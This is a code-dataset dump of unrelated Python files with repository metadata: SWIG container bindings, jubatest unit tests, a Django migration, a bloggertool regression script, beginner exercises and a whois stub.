_pyBasePython.vectorsetUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorsetUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorsetUL_clear(self) def swap(self, *args): """swap(self, vectorsetUL v)""" return _pyBasePython.vectorsetUL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorsetUL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorsetUL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorsetUL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorsetUL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorsetUL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorsetUL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorsetUL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorsetUL __init__(self, vectorsetUL arg0) -> vectorsetUL __init__(self, size_type size) -> vectorsetUL __init__(self, size_type size, value_type value) -> vectorsetUL """ _pyBasePython.vectorsetUL_swiginit(self,_pyBasePython.new_vectorsetUL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorsetUL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorsetUL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorsetUL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorsetUL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorsetUL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorsetUL_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorsetUL_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorsetUL_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorsetUL vectorsetUL.iterator = new_instancemethod(_pyBasePython.vectorsetUL_iterator,None,vectorsetUL) vectorsetUL.__nonzero__ = new_instancemethod(_pyBasePython.vectorsetUL___nonzero__,None,vectorsetUL) vectorsetUL.__bool__ = new_instancemethod(_pyBasePython.vectorsetUL___bool__,None,vectorsetUL) vectorsetUL.__len__ = new_instancemethod(_pyBasePython.vectorsetUL___len__,None,vectorsetUL) vectorsetUL.pop = new_instancemethod(_pyBasePython.vectorsetUL_pop,None,vectorsetUL) vectorsetUL.__getslice__ = new_instancemethod(_pyBasePython.vectorsetUL___getslice__,None,vectorsetUL) vectorsetUL.__setslice__ = new_instancemethod(_pyBasePython.vectorsetUL___setslice__,None,vectorsetUL) vectorsetUL.__delslice__ = new_instancemethod(_pyBasePython.vectorsetUL___delslice__,None,vectorsetUL) vectorsetUL.__delitem__ = new_instancemethod(_pyBasePython.vectorsetUL___delitem__,None,vectorsetUL) vectorsetUL.__getitem__ = new_instancemethod(_pyBasePython.vectorsetUL___getitem__,None,vectorsetUL) vectorsetUL.__setitem__ = new_instancemethod(_pyBasePython.vectorsetUL___setitem__,None,vectorsetUL) vectorsetUL.append = new_instancemethod(_pyBasePython.vectorsetUL_append,None,vectorsetUL) vectorsetUL.empty = new_instancemethod(_pyBasePython.vectorsetUL_empty,None,vectorsetUL) vectorsetUL.size = new_instancemethod(_pyBasePython.vectorsetUL_size,None,vectorsetUL) vectorsetUL.clear = new_instancemethod(_pyBasePython.vectorsetUL_clear,None,vectorsetUL) vectorsetUL.swap = new_instancemethod(_pyBasePython.vectorsetUL_swap,None,vectorsetUL) vectorsetUL.get_allocator = new_instancemethod(_pyBasePython.vectorsetUL_get_allocator,None,vectorsetUL) vectorsetUL.begin = new_instancemethod(_pyBasePython.vectorsetUL_begin,None,vectorsetUL) vectorsetUL.end = new_instancemethod(_pyBasePython.vectorsetUL_end,None,vectorsetUL) vectorsetUL.rbegin = new_instancemethod(_pyBasePython.vectorsetUL_rbegin,None,vectorsetUL) vectorsetUL.rend = new_instancemethod(_pyBasePython.vectorsetUL_rend,None,vectorsetUL) vectorsetUL.pop_back = new_instancemethod(_pyBasePython.vectorsetUL_pop_back,None,vectorsetUL) vectorsetUL.erase = new_instancemethod(_pyBasePython.vectorsetUL_erase,None,vectorsetUL) vectorsetUL.push_back = new_instancemethod(_pyBasePython.vectorsetUL_push_back,None,vectorsetUL) vectorsetUL.front = new_instancemethod(_pyBasePython.vectorsetUL_front,None,vectorsetUL) vectorsetUL.back = new_instancemethod(_pyBasePython.vectorsetUL_back,None,vectorsetUL) vectorsetUL.assign = new_instancemethod(_pyBasePython.vectorsetUL_assign,None,vectorsetUL) vectorsetUL.resize = new_instancemethod(_pyBasePython.vectorsetUL_resize,None,vectorsetUL) vectorsetUL.insert = new_instancemethod(_pyBasePython.vectorsetUL_insert,None,vectorsetUL) vectorsetUL.reserve = new_instancemethod(_pyBasePython.vectorsetUL_reserve,None,vectorsetUL) vectorsetUL.capacity = new_instancemethod(_pyBasePython.vectorsetUL_capacity,None,vectorsetUL) vectorsetUL_swigregister = _pyBasePython.vectorsetUL_swigregister vectorsetUL_swigregister(vectorsetUL) class mapsetUL(object): """Proxy of C++ std::map<(unsigned long,std::set<(unsigned long,std::less<(unsigned long)>)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.mapsetUL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.mapsetUL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.mapsetUL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.mapsetUL___len__(self) def __getitem__(self, *args): """__getitem__(self, key_type key) -> mapped_type""" return _pyBasePython.mapsetUL___getitem__(self, *args) def __delitem__(self, *args): """__delitem__(self, key_type key)""" return _pyBasePython.mapsetUL___delitem__(self, *args) def has_key(self, *args): """has_key(self, key_type key) -> bool""" return _pyBasePython.mapsetUL_has_key(self, *args) def keys(self): """keys(self) -> PyObject""" return _pyBasePython.mapsetUL_keys(self) def values(self): """values(self) -> PyObject""" return _pyBasePython.mapsetUL_values(self) def items(self): """items(self) -> PyObject""" return _pyBasePython.mapsetUL_items(self) def __contains__(self, *args): """__contains__(self, key_type key) -> bool""" return _pyBasePython.mapsetUL___contains__(self, *args) def key_iterator(self): """key_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapsetUL_key_iterator(self) def value_iterator(self): """value_iterator(self) -> SwigPyIterator""" return _pyBasePython.mapsetUL_value_iterator(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __setitem__(self, *args): """__setitem__(self, key_type key, mapped_type x)""" return _pyBasePython.mapsetUL___setitem__(self, *args) def __init__(self, *args): """ __init__(self, std::less<(unsigned long)> arg0) -> mapsetUL __init__(self) -> mapsetUL __init__(self, mapsetUL arg0) -> mapsetUL """ _pyBasePython.mapsetUL_swiginit(self,_pyBasePython.new_mapsetUL(*args)) def empty(self): """empty(self) -> bool""" return _pyBasePython.mapsetUL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.mapsetUL_size(self) def clear(self): """clear(self)""" return _pyBasePython.mapsetUL_clear(self) def swap(self, *args): """swap(self, mapsetUL v)""" return _pyBasePython.mapsetUL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.mapsetUL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.mapsetUL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.mapsetUL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.mapsetUL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.mapsetUL_rend(self) def count(self, *args): """count(self, key_type x) -> size_type""" return _pyBasePython.mapsetUL_count(self, *args) def erase(self, *args): """ erase(self, key_type x) -> size_type erase(self, iterator position) erase(self, iterator first, iterator last) """ return _pyBasePython.mapsetUL_erase(self, *args) def find(self, *args): """find(self, key_type x) -> iterator""" return _pyBasePython.mapsetUL_find(self, *args) def lower_bound(self, *args): """lower_bound(self, key_type x) -> iterator""" return _pyBasePython.mapsetUL_lower_bound(self, *args) def upper_bound(self, *args): """upper_bound(self, key_type x) -> iterator""" return _pyBasePython.mapsetUL_upper_bound(self, *args) __swig_destroy__ = _pyBasePython.delete_mapsetUL mapsetUL.iterator = new_instancemethod(_pyBasePython.mapsetUL_iterator,None,mapsetUL) mapsetUL.__nonzero__ = new_instancemethod(_pyBasePython.mapsetUL___nonzero__,None,mapsetUL) mapsetUL.__bool__ = new_instancemethod(_pyBasePython.mapsetUL___bool__,None,mapsetUL) mapsetUL.__len__ = new_instancemethod(_pyBasePython.mapsetUL___len__,None,mapsetUL) mapsetUL.__getitem__ = new_instancemethod(_pyBasePython.mapsetUL___getitem__,None,mapsetUL) mapsetUL.__delitem__ = new_instancemethod(_pyBasePython.mapsetUL___delitem__,None,mapsetUL) mapsetUL.has_key = new_instancemethod(_pyBasePython.mapsetUL_has_key,None,mapsetUL) mapsetUL.keys = new_instancemethod(_pyBasePython.mapsetUL_keys,None,mapsetUL) mapsetUL.values = new_instancemethod(_pyBasePython.mapsetUL_values,None,mapsetUL) mapsetUL.items = new_instancemethod(_pyBasePython.mapsetUL_items,None,mapsetUL) mapsetUL.__contains__ = new_instancemethod(_pyBasePython.mapsetUL___contains__,None,mapsetUL) mapsetUL.key_iterator = new_instancemethod(_pyBasePython.mapsetUL_key_iterator,None,mapsetUL) mapsetUL.value_iterator = new_instancemethod(_pyBasePython.mapsetUL_value_iterator,None,mapsetUL) mapsetUL.__setitem__ = new_instancemethod(_pyBasePython.mapsetUL___setitem__,None,mapsetUL) mapsetUL.empty = new_instancemethod(_pyBasePython.mapsetUL_empty,None,mapsetUL) mapsetUL.size = new_instancemethod(_pyBasePython.mapsetUL_size,None,mapsetUL) mapsetUL.clear = new_instancemethod(_pyBasePython.mapsetUL_clear,None,mapsetUL) mapsetUL.swap = new_instancemethod(_pyBasePython.mapsetUL_swap,None,mapsetUL) mapsetUL.get_allocator = new_instancemethod(_pyBasePython.mapsetUL_get_allocator,None,mapsetUL) mapsetUL.begin = new_instancemethod(_pyBasePython.mapsetUL_begin,None,mapsetUL) mapsetUL.end = new_instancemethod(_pyBasePython.mapsetUL_end,None,mapsetUL) mapsetUL.rbegin = new_instancemethod(_pyBasePython.mapsetUL_rbegin,None,mapsetUL) mapsetUL.rend = new_instancemethod(_pyBasePython.mapsetUL_rend,None,mapsetUL) mapsetUL.count = new_instancemethod(_pyBasePython.mapsetUL_count,None,mapsetUL) mapsetUL.erase = new_instancemethod(_pyBasePython.mapsetUL_erase,None,mapsetUL) mapsetUL.find = new_instancemethod(_pyBasePython.mapsetUL_find,None,mapsetUL) mapsetUL.lower_bound = new_instancemethod(_pyBasePython.mapsetUL_lower_bound,None,mapsetUL) mapsetUL.upper_bound = new_instancemethod(_pyBasePython.mapsetUL_upper_bound,None,mapsetUL) mapsetUL_swigregister = _pyBasePython.mapsetUL_swigregister mapsetUL_swigregister(mapsetUL)
[ "fede.anne95@hotmail.it" ]
fede.anne95@hotmail.it
220baaf2058130c0aee5967ca7d27910c3f5723e
b5f249c6ede64809cce1c622d1da536de7a88ce8
/test/unit/constants.py
a7b9246c0ba63cc2d6a6abf6fe58a3b5cae50c09
[]
no_license
rimms/jubatest
89a554d2361ef3095f920a92c5d89fe2fdb646e5
e4d66ceccfdeecdb91ba3d216c227773b70a7fe1
refs/heads/master
2020-12-25T09:47:16.812398
2015-03-12T10:47:31
2015-03-12T10:47:31
13,459,176
0
0
null
null
null
null
UTF-8
Python
false
false
806
py
# -*- coding: utf-8 -*- import time from jubatest import * from jubatest.unit import JubaTestFixtureFailedError class DefaultConfigTest(JubaTestCase): def test_sleep(self): begin = time.time() sleep(1) # from jubatest.constants timeTaken = time.time() - begin self.assertAlmostEqual(1.0, timeTaken, places=2) def test_default_config_classifier_immutable(self): cfg1 = default_config(CLASSIFIER) cfg1['method'] = 'none' cfg2 = default_config(CLASSIFIER) self.assertNotEqual(cfg1['method'], cfg2['method']) def test_default_config_recommender(self): self.assertIsNotNone(default_config(RECOMMENDER)) def test_default_config_fail(self): self.assertRaises(JubaTestFixtureFailedError, default_config, 'fail')
[ "webmaster@kenichimaehashi.com" ]
webmaster@kenichimaehashi.com
6b37f3ed770bca9d9f491eb1028f94922a775476
c7ce0a7bbefa817877ae02d0497a8ee138ee460d
/app/migrations/0002_work.py
f3c5c9bfad5d20168b49d0605cfad93cfb4c907b
[]
no_license
hiroshi-higashiyama/DJANGO-PORTFOLIO
288cfcb0eefc375b643556d0ab63e05acc0646c6
1e66ed9355fc00cd8228b3bcac40a8f6c75b6451
refs/heads/master
2022-12-03T20:24:39.109925
2020-08-21T13:26:44
2020-08-21T13:26:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,087
py
# Generated by Django 3.1 on 2020-08-16 10:02 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app', '0001_initial'), ] operations = [ migrations.CreateModel( name='Work', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100, verbose_name='タイトル')), ('image', models.ImageField(upload_to='images', verbose_name='イメージ画像')), ('thumbnail', models.ImageField(blank=True, null=True, upload_to='images', verbose_name='サムネイル')), ('skill', models.CharField(max_length=100, verbose_name='スキル')), ('url', models.CharField(blank=True, max_length=100, null=True, verbose_name='URL')), ('created', models.DateField(verbose_name='作成日')), ('description', models.TextField(verbose_name='説明')), ], ), ]
[ "s20840011@gmail.com" ]
s20840011@gmail.com
26cc9c8527efabc42652a0dcc7c3bd2559a22c31
d76e8c5e7853b145b2c084975cadd0e4f29943f1
/regression/scenario.py
7deeba7dbfcc8ddc166b290a431440ff0e97897b
[ "MIT" ]
permissive
asvetlov/bloggertool
57ab7408d6a7624f7d44ccc60de3761e7524935c
7c145f66aa22f4124e8b1d198bc93ff703fa72b4
refs/heads/master
2021-03-12T20:16:56.014541
2015-03-29T09:54:36
2015-03-29T09:54:36
19,406,280
0
1
null
null
null
null
UTF-8
Python
false
false
16,490
py
import os import shutil import sys from textwrap import dedent import jinja2 from .util import Executor, Q from bloggertool.str_util import qname email = "andrew.svetlov@gmail.com" blogid = "1016801571750880882" def run(): folder = os.path.dirname(os.path.abspath(sys.argv[0])) regr_folder = os.path.join(folder, 'regr-data') blog_cmd = 'blog' exe = Executor(blog_cmd, regr_folder) exe.rmtree() exe.mkdir('.') project_dir = exe.full_name('sample_blog') CREATE_PROJECT = Q("INFO Create project {0!q}") ALREADY_IN_PROJECT = Q("ERROR Already a project: {0!q}") USER_INFO = Q(""" INFO User info: email: {email!Q} blogid: {blogid!Q} template: dir: {dir!Q} file: {file!Q} source-encoding: utf-8 """) USER_UPDATED = Q("INFO User updated") ADD = Q("INFO Add {name!q} -> {file!q}") HTML = Q("INFO Generate html for {name!q}") HTML_WARNING_NO_TEMPLATE = HTML + '\n' + Q(""" WARNING User settings has no template specified. Use markdown output as html. """) SKIP_FRESH = Q("INFO Skip fresh {name!q}") ############################################ print '***** INIT ******' print 'init project' out = exe.go('init sample_blog') #import pdb;pdb.set_trace() CREATE_PROJECT(project_dir) == out print 'init same project' out = exe.go('init sample_blog', 255) ALREADY_IN_PROJECT(project_dir) == out print 'init sub project' out = exe.go('init sample_blog/sample', 255) ALREADY_IN_PROJECT(project_dir) == out print "init sub project with cd" with exe.cd('sample_blog'): out = exe.go('init sample', 255) ALREADY_IN_PROJECT(project_dir) == out shutil.rmtree(project_dir) print "init project in current folder" exe.mkdir('sample_blog') with exe.cd('sample_blog'): out = exe.go('init .') CREATE_PROJECT(project_dir) == out with exe.cd('sample_blog'): out = exe.go('ls') Q("INFO No posts") == out ############################# print "***** USER *****" print "info of empty project" with exe.cd('sample_blog'): out = exe.go('info') #import pdb;pdb.set_trace() USER_INFO() == out print "fail rinfo for empty user" with exe.cd('sample_blog'): out = exe.go('rinfo', 255) Q("ERROR Set user email first") == out print "setup project info" with exe.cd('sample_blog'): cmd = 'info --email %s --blogid %s' % (email, blogid) out = exe.go(cmd) USER_UPDATED == out print "info of filled project" with exe.cd('sample_blog'): out = exe.go('info') USER_INFO(email=email, blogid=blogid) == out ############################### print "*********** rinfo ************" print "simple" with exe.cd('sample_blog'): out = exe.go('rinfo') found = False for m in Q(r"[[](?P<blogid>\d+)]").ifind(out): if m['blogid'] == blogid: found = True break assert found ############################## print "****** SIMPLE HTML *******" TXT = 'Text of sample article' INNER_HTML = '<p>' + TXT + '</p>' print "add post" with exe.cd('sample_blog'): exe.write('article.md', TXT) md_fname = exe.full_name('article.md') out = exe.go('add article.md') ADD(name='article', file='article.md') == out print "generate html without template" with exe.cd('sample_blog'): out = exe.go('html article.md') Q(INNER_HTML) == exe.read('article.inner.html') HTML_WARNING_NO_TEMPLATE(name='article', file=md_fname) == out print "generate fresh html without template" with exe.cd('sample_blog'): out = exe.go('html article.md') Q(INNER_HTML) == exe.read('article.inner.html') SKIP_FRESH(name='article') == out print "generate fresh html with --always parameter without template" with exe.cd('sample_blog'): out = exe.go('html article.md --always') Q(INNER_HTML) == exe.read('article.inner.html') HTML_WARNING_NO_TEMPLATE(name='article', file=md_fname) == out ########################################### print "******* TEMPLATED HTML *******" TEMPLATE_BODY = Q("""\ <html> <head> <title>{{title}}</title> </head> <body> <h1>{{title}}</h1> <p>Slug: <em>{{slug}}</em></p> <p>Labels: <em> {% for label in labels %} {{label}}, {% endfor %} <hr> {{inner}} </body> </html> """) env = jinja2.Environment(loader=jinja2.DictLoader( {"template": TEMPLATE_BODY})) TEMPLATE = env.get_template("template") print "setup project template" with exe.cd('sample_blog'): exe.mkdir('template') exe.write('template/templ.html', TEMPLATE_BODY) out = exe.go('info --template template/templ.html') USER_UPDATED == out print "info of filled project" with exe.cd('sample_blog'): out = exe.go('info') USER_INFO(email=email, blogid=blogid, dir='template', file='templ.html') == out print ("generate html with template without title and slug, " "slug derived from name") with exe.cd('sample_blog'): out = exe.go('html article.md --always') inner = exe.read('article.inner.html') INNER_HTML == inner TEMPLATE.render(title='', inner=inner, slug='article', labels=[]) == exe.read('article.html') HTML(name='article') == out ######################### print "******* TEMPLATED HTML WITH METAINFO **********" TXT2 = Q("""\ Title: Post Title Slug: second-post Labels: sample, other Text of second article """) INNER_HTML2 = '<p>Text of second article</p>' print "add second post in subfolder" exe.mkdir('sample_blog/sub') with exe.cd('sample_blog/sub'): exe.write('second.md', TXT2) out = exe.go('add second.md --show-traceback') ADD(name='sub/second', file='sub/second.md') == out print "generate html with template with full metadata" with exe.cd('sample_blog/sub'): out = exe.go('html second --force', 0) inner = exe.read('second.inner.html') INNER_HTML == inner TEMPLATE.render(title='Post Title', inner=inner, slug='second-post', labels='other, sample') == exe.read('second.html') HTML(name='sub/second') == out ######################### print "******** LABELS ***********" LABEL = Q('INFO Labels for post {name!q}: {labels}') LABEL_UPDATE = Q('INFO Updated labels for post {name!q}: {labels}') print "show empty labels for article.md" with exe.cd('sample_blog'): out = exe.go('label article') LABEL(name='article', labels=None) == out print "show empty labels for article.md from sub folder" with exe.cd('sample_blog/sub'): out = exe.go('label ../article') LABEL(name='article', labels=None) == out print "show labels for sub/second.md" with exe.cd('sample_blog'): out = exe.go('label sub/second') LABEL(name='sub/second', labels='other, sample') == out print "show labels for sub/second.md from sub folder" with exe.cd('sample_blog/sub'): out = exe.go('label second') LABEL(name='sub/second', labels='other, sample') == out print "add label for article.md" with exe.cd('sample_blog'): out = exe.go('label article --add "a, b"') LABEL_UPDATE(name='article', labels='a, b') == out print "...check" with exe.cd('sample_blog'): out = exe.go('label article') LABEL(name='article', labels='a, b') == out print "remove label from article.md" with exe.cd('sample_blog'): out = exe.go('label article --rm "a"') LABEL_UPDATE(name='article', labels='b') == out print "...check" with exe.cd('sample_blog'): out = exe.go('label article') LABEL(name='article', labels='b') == out print "set label for article.md" with exe.cd('sample_blog'): out = exe.go('label article --set a') LABEL_UPDATE(name='article', labels='a') == out print "...check" with exe.cd('sample_blog'): out = exe.go('label article') LABEL(name='article', labels='a') == out ################################# print "*********** POST **************" POST_SHOW = Q("""\ INFO Post {changed}{name!q} title: {title} link: {link} slug: {slug} labels: {labels} postid: {postid} published: {published} updated: {updated} localstamp: now """) LOCALSTAMP = "(?P<localstamp>.+?)$" POST_UPDATE = Q('INFO Post {name} updated.') POST_UPDATE_WARNING = Q("WARNING Skip title modification for {name}") print 'show post article' with exe.cd('sample_blog'): out = exe.go('post article') POST_SHOW(name='article', title='', changed='[*]', # screen * regexp spec symbol link='', slug='article', labels='a', postid='').match(out) print 'set title for post article' with exe.cd('sample_blog'): out = exe.go('post article --title "New Title" --show-traceback') POST_UPDATE(name='article') == out print '...check' with exe.cd('sample_blog'): out = exe.go('post article') POST_SHOW(name='article', title='New Title', changed='[*]', # screen * regexp spec symbol link='', slug='article', labels='a', postid='').match(out) print 'cannot change existing title for post article' with exe.cd('sample_blog'): out = exe.go('post article --title "New Title 2"') POST_UPDATE_WARNING(name='article') == out print '...check' with exe.cd('sample_blog'): out = exe.go('post article') POST_SHOW(name='article', title='New Title', changed='[*]', # screen * regexp spec symbol link='', slug='article', labels='a', postid='').match(out) print 'change existing title for post article with --force' with exe.cd('sample_blog'): out = exe.go('post article --title "New Title 2" --force') POST_UPDATE(name='article') == out print '...check' with exe.cd('sample_blog'): out = exe.go('post article') POST_SHOW(name='article', title='New Title 2', changed='[*]', # screen * regexp spec symbol link='', slug='article', labels='a', postid='').match(out) ################################# print "************ LS *************" print "ls of project root" with exe.cd('sample_blog'): out = exe.go('ls') Q("""\ INFO Posts: *article *sub/second """) == out print "ls of sample/sub" with exe.cd('sample_blog/sub'): out = exe.go('ls') Q("""\ INFO Posts: *sub/second """) == out ############################### PUBLISH = Q("INFO Post {name!q} published as (?P<link>.+) " r"[[](?P<postid>\d+)]") print "*********** publish ************" print "publish article" with exe.cd('sample_blog'): out = exe.go('publish article') ret = PUBLISH(name='article').match(out) link1 = ret['link'] postid1 = ret['postid'] slug1 = os.path.splitext(os.path.basename(link1))[0] print "...check" with exe.cd('sample_blog'): out = exe.go('ls') Q("""\ INFO Posts: article *sub/second """) == out print '...check' with exe.cd('sample_blog'): out = exe.go('post article') POST_SHOW(name='article', title='New Title 2', changed='', link=link1, slug=slug1, labels='a', published='now', updated='now', postid=postid1).match(out) print '...check' with exe.cd('sample_blog'): out = exe.go('rls --show-traceback') tst = Q("{title!q} -> {link}")(title="New Title 2", link=link1) last_record = out.splitlines()[2].strip() tst == last_record #### print "publish sub/second" with exe.cd('sample_blog/sub'): out = exe.go('publish second') ret = PUBLISH(name='sub/second').match(out) link2 = ret['link'] postid2 = ret['postid'] slug2 = os.path.splitext(os.path.basename(link2))[0] print "...check" with exe.cd('sample_blog'): out = exe.go('ls') Q("""\ INFO Posts: article sub/second """) == out print '...check' with exe.cd('sample_blog/sub'): out = exe.go('post second') POST_SHOW(name='sub/second', title='Post Title', changed='', link=link2, slug=slug2, labels='other, sample', published='now', updated='now', postid=postid2).match(out) print '...check' with exe.cd('sample_blog/sub'): out = exe.go('rls --show-traceback') tst = Q("{title!q} -> {link}")(title="Post Title", link=link2) last_record = out.splitlines()[2].strip() tst == last_record ###################### print "************ RM *****************" RM = Q("INFO Remove {name!q}") print 'rm article and sub/second' with exe.cd('sample_blog/sub'): out = exe.go('rm ../article') RM(name='article') == out out = exe.go('rm second') RM(name='sub/second') == out with exe.cd('sample_blog'): out = exe.go('ls') Q("INFO No posts") == out ###################### print "************ LINK *****************" LINK = Q("INFO Post {name!q} connected to {link}") published = r"(?P<published>now|\d+ minutes ago)" print 'add removed files' with exe.cd('sample_blog/sub'): exe.go('add ../article.md') exe.go('add second.md') print 'link article' with exe.cd('sample_blog/sub'): out = exe.go('link ../article %s' % link1) LINK(name='article', link=link1) == out print '...check' with exe.cd('sample_blog'): out = exe.go('post article') POST_SHOW(name='article', title='New Title 2', changed='', link=link1, slug=slug1, labels='a', published=published, updated='now', postid=postid1).match(out) print 'link sub/second' with exe.cd('sample_blog/sub'): out = exe.go('link second %s' % link2) LINK(name='sub/second', link=link2) == out print '...check' with exe.cd('sample_blog/sub'): out = exe.go('post second') POST_SHOW(name='sub/second', title='Post Title', changed='', link=link2, slug=slug2, labels='other, sample', published=published, updated='now', postid=postid2).match(out) print "**************** DIFF and PUSH **************" TXT3 = Q("""\ Title: Post Title Slug: {slug} Labels: sample, other Text of second article. Modified version. """)(slug=slug2) DIFF = Q("""\ INFO Generate html for sub/second INFO Difference: --- {link} +++ {inner} @@ -1,1 +1,2 @@ -<p>Text of second article</p> +<p>Text of second article. +Modified version.</p> """) PUSH = Q("INFO Post {name!q} updated") print "modify and diff" with exe.cd('sample_blog/sub'): exe.write('second.md', TXT3) out = exe.go('diff second --force') DIFF(link=link2 + ' ', inner='sub/second.inner.html ') == out print "push" with exe.cd('sample_blog/sub'): out = exe.go('push second') PUSH(name='sub/second') == out print "check diff again" with exe.cd('sample_blog/sub'): out = exe.go('diff second') Q("INFO No differences") == out
[ "andrew.svetlov@gmail.com" ]
andrew.svetlov@gmail.com
85e2f1127c455858f263e129968012d3d12350e4
bc6508a1dde1e61a8b2f61e70044c074aeeb4406
/whoiser/servers/UA.py
c9752e72fe6d9a86e91af5187e8fc2b9203b5cd5
[]
no_license
krikulis/whoiser
7eca72260dc061a91c7630901557264b80c5263e
27af46d6ffcf2bacc5e5b837883ab5fab7ac9b40
refs/heads/master
2021-01-10T19:10:53.915622
2012-06-24T23:50:28
2012-06-24T23:50:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
200
py
#TODO: write implementation from servers.generic import GenericWhoisQuery class WhoisQuery(GenericWhoisQuery): server = 'whois.ua' def parse_response(self, response): return response
[ "kristaps.kulis@gmail.com" ]
kristaps.kulis@gmail.com
8f1b383ecc9e8d14ee9afc1d8a5cf57fe674970f
d1da1bfc310cb428152a9d4e41509b08ee4a6846
/python4.py
bf6430f3830af7492994d5b1cbf235ff9b2d8815
[]
no_license
imrajashish/python
3c9c3a2b3cdd939741fc062ca52df6e3a40d5a45
898032f9acb707e0cb0ad40b6b6f2a2406610893
refs/heads/master
2022-12-07T12:07:08.500570
2020-09-04T15:21:26
2020-09-04T15:21:26
283,292,211
1
0
null
null
null
null
UTF-8
Python
false
false
1,867
py
#Write a Python program to solve (x + y) * (x + y). x = 4 y = 5 s = (x + y) * (x + y) print("output is : ",s) #Write a Python program to add two objects if both objects are an integer type. x = int(input("Enter the a : ")) y = int(input("Enter the b : ")) sum = x+y print("sum of two number is : ",sum) # Write a Python program to display your details like name, age, address in three different lines def personal_details(): name , age = "Ashish",21 address = "Bangalore, Karnataka, India" print("Name: {}\nAge: {}\nAddress: {}".format(name, age, address)) personal_details() #Write a Python program to compute the future value of a specified principal amount, rate of interest, and a number of years. amt = 10000 int = 3.5 years = 7 future_value = amt*((1+(0.01*int)) ** years) print(round(future_value,2)) #remark #Write a Python program to compute the distance between the points (x1, y1) and (x2, y2). x1 = float(input("Enter the number x1 is :")) x2 = float(input("Enter the number x2 is :")) y1 = float(input("Enter the number y1 is :")) y2 = float(input("Enter the number y2 is :")) distance = (x1-x2)*(y1-y2) print("distance between the points is : ",distance) #Write a Python program to sum of two given integers. However, if the sum is between 15 to 20 it will return 20. def sum(x,y): sum = x+y if sum in range(15,20): return 20 else: return sum print(sum(10,6)) #Write a Python program that will return true if the two given integer values are equal or their sum or difference is 5 def sum(x,y): if x == y or abs(x+y) == 5 or x-y == 5: return True #remark else: return False print(sum(7,2)) print(sum(3, 2)) print(sum(2, 2)) #Write a Python program to check whether a file exists. import os.path open('abc.txt', 'w') print(os.path.isfile('abc.txt')) #remark w
[ "imrajashish07@gmail.com" ]
imrajashish07@gmail.com
1620054aa845a8b00ec4d9c3c6f27667467d29a6
d9a5600b3b211993dedd4225dfd77ff7daa1384e
/src/tweets/admin.py
d958f478fa09fdd00c0e0eb02be9ccd5aae9bbd1
[]
no_license
Ahmedsebit/django_twitter_like_app
220da09fd471c1e5a28070f9af587b3d23aafe78
d1abb08da75928a97761830faaca2fd32fbe3e31
refs/heads/master
2020-12-02T23:57:26.744081
2017-07-12T12:16:38
2017-07-12T12:16:38
95,966,074
0
0
null
null
null
null
UTF-8
Python
false
false
276
py
from django.contrib import admin # Register your models here. from .forms import TweetModelForm from .models import Tweet class TweetModelAdmin(admin.ModelAdmin): # form = TweetModelForm class Meta: model = Tweet admin.site.register(Tweet, TweetModelAdmin)
[ "Ahmed.yusuf@andela.com" ]
Ahmed.yusuf@andela.com
242fcb76e5732df2b210443389ce6cf555f2bfd3
57cb9fef5efac78758f5d151b959ca2216c94083
/edx/app/discovery/venvs/discovery/bin/cq
11d127b143483c4edd18ed18708a09cbf20e1286
[]
no_license
JosiahKennedy/openedx-branded
9751d5362088276a87b2e0edca0913568eeb1ac4
d16a25b035b2e810b8ab2b0a2ac032b216562e26
refs/heads/master
2022-12-21T02:39:17.133147
2020-03-25T06:03:23
2020-03-25T06:03:23
249,895,218
0
1
null
2022-12-08T01:23:48
2020-03-25T05:33:05
null
UTF-8
Python
false
false
3,081
